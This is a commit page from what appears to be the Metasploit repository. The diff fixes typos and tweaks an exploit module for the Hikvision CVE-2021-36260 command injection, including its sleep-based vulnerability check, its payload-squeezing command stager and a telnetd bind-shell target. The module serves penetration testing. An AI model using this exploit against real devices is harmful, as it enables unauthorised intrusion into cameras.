Skip to content

Commit e1616a5

Browse files
committed
Fixed a couple of typos. Changed a CheckCode. Randomized the replaced tmp file name
1 parent 4cd3563 commit e1616a5

File tree

2 files changed

+8
-4
lines changed

2 files changed

+8
-4
lines changed

documentation/modules/exploit/linux/http/hikvision_cve_2021_36260_blind.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@ string is:
2020
Which accounts for 12 bytes, leaving only 19 bytes for our payload. Fortunately,
2121
snprintf will let us reclaim '.tar.gz' so in reality, there are 26 bytes for our payload.
2222
We need 3 bytes to invoke our injection: $(). Leaving 23 bytes for payload. The 'echo'
23-
stager has a minium of 26 bytes but we obviously don't have that much space. We can steal
23+
stager has a minimum of 26 bytes but we obviously don't have that much space. We can steal
2424
the extra space from the "random" file name and compress ' >> ' to '>>'. That will get us
2525
below 23. Squeezing the extra bytes will also allow printf stager to do more than 1 byte
2626
per exploitation.
@@ -48,7 +48,7 @@ table in the [Hikvision advisory](https://www.hikvision.com/en/support/cybersecu
4848

4949
### Target 0
5050

51-
Target 1 is a busybox telnetd bind shell.
51+
Target 0 is a busybox telnetd bind shell.
5252

5353
### Target 1
5454

modules/exploits/linux/http/hikvision_cve_2021_36260_blind.rb

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -132,7 +132,7 @@ def check
132132
'data' => payload
133133
}, 10)
134134

135-
return CheckCode::Appears('As determined by HTTP status replies.') unless res
135+
return CheckCode::Vulnerable('It appears the target executed the provided sleep command.') unless res
136136

137137
CheckCode::Safe('The target did not execute the provided sleep command.')
138138
end
@@ -150,7 +150,7 @@ def execute_command(cmd, _opts = {})
150150
# have that much space. We can steal the extra space from the "random" file name
151151
# and compress ' >> ' to '>>'. That will get us below 23. Squeezing the extra
152152
# bytes will also allow printf stager to do more than 1 byte per exploitation.
153-
cmd = cmd.gsub(%r{tmp/[0-9a-zA-Z]+}, 'tmp/a')
153+
cmd = cmd.gsub(%r{tmp/[0-9a-zA-Z]+}, @fname)
154154
cmd = cmd.gsub(/ >/, '>')
155155
cmd = cmd.gsub(/> /, '>')
156156

@@ -167,6 +167,10 @@ def execute_command(cmd, _opts = {})
167167

168168
def exploit
169169
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
170+
171+
# generate a random value for the tmp file name. See execute_command for details
172+
@fname = "tmp/#{Rex::Text.rand_text_alpha(1)}"
173+
170174
case target['Type']
171175
when :unix_cmd
172176
execute_command(payload.encoded)

0 commit comments

Comments
 (0)